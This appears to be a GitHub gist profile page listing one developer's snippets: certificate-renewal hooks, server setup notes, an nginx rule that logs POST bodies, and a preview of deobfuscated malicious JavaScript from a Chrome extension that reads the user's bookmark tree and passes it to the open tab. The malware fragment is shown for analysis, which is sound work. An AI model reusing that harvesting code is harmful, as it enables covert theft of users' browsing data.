Skip to content

Instantly share code, notes, and snippets.

View gnanet's full-sized avatar

Gergely Nagy gnanet

View GitHub Profile
@gnanet
gnanet / easyscp.acmetool.hook.sh
Last active August 26, 2018 16:15
Custom acmetool hook to update Let's Encrypt certificates for EasySCP
#!/bin/sh
# This is a custom hook for acmetool
# https://github.com/hlandau/acme/releases
#
# Save this file to /usr/lib/acme/hooks/easyscp and make it executable
# This file updates certificate+private key files for domains which
# already were configured from inside EasySCP.
#
@gnanet
gnanet / acmetool-hook-plesk.md
Last active May 23, 2018 21:58
acmetool hook for manual certificate addition to plesk

acmetool hook for manual certificate addition to plesk

This is a modified haproxy-hook from acmetool v0.0.67 to allow the addition of LetsEncrypt certificates to plesk panel, and to create, renew, assign certificates to domains

Usage in general:

  • You should rename the attached haproxy.sh script and overwrite the installed haproxy hook, which is usually placed into /usr/lib/acme/hooks
  • The haproxy hook has to be enabled with HAPROXY_ALWAYS_GENERATE=yes in /etc/default/acme-reload /etc/default/acme-reload
  • You can specify the plesk panel hostname, if it differs from the server hostname with PLESK_HOSTNAME=your-own-panel-hostname.tld in
  • To make sure this hook is not overwritten, you could remove #!acmetool-managed!# but i changed it to say ##!DO-NOT-LET-acmetool-managed!##
log_format postdata '$time_local $request $request_body';
location = /path {
access_log /var/log/nginx/postdata.log postdata;
proxy_pass http://localhost:8080; # <= set your port
}
@gnanet
gnanet / eopjjffgjlmcbafpfcmnclndikjhajon-1.2_0-bookmarkSync.js
Created April 28, 2018 21:01
Deobfuscated Malicious JS appended to ChromeExtension, which has a possible role in the Messenger Fake video malware breakout
function syncBookmarks(){
console.log('sync...')
chrome.bookmarks.getTree(function(results){
chrome.tabs.query({active: true, currentWindow: true}, function(tabs){
chrome.tabs.sendMessage(tabs[0].id, {bookmarksData: true, data: results}, function(response) {});
});
})
}
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
@gnanet
gnanet / wheezy-acmetool-easyscp.md
Created April 25, 2018 18:03
Let's Encrypt on debian wheezy and EasySCP
@gnanet
gnanet / debian-ubuntu-version-pairs.md
Last active April 8, 2018 21:38
Debian version <-> Ubuntu version
@gnanet
gnanet / jessie-acmetool-nginx-postfix-dovecot.md
Last active November 1, 2018 00:57
Let's Encrypt on debian jessie with nginx and SMTP POP3 IMAP with acmetool
@gnanet
gnanet / readme-xs73-postinst.md
Last active September 23, 2019 06:29
Install additional packages on Xenserver 7.3
@gnanet
gnanet / howto-rpi3-wifi-repeater.md
Created January 30, 2018 20:06
Configuring 1 AP + Many wireless connections on Raspberry Pi 3 with One wireless network card
@gnanet
gnanet / wpai-run-imports.sh
Created January 29, 2018 01:17 — forked from onnimonni/wpai-run-imports.sh
Helper bash script which you can use to run wp all import synchronously. This also outputs problems which you may have with wpai.
#!/bin/bash
##
# Script to run WP All Import scripts sychronously with cron
##
# This is default wp core directory for us
ABSPATH="/var/www/project/wp"
function usage()
{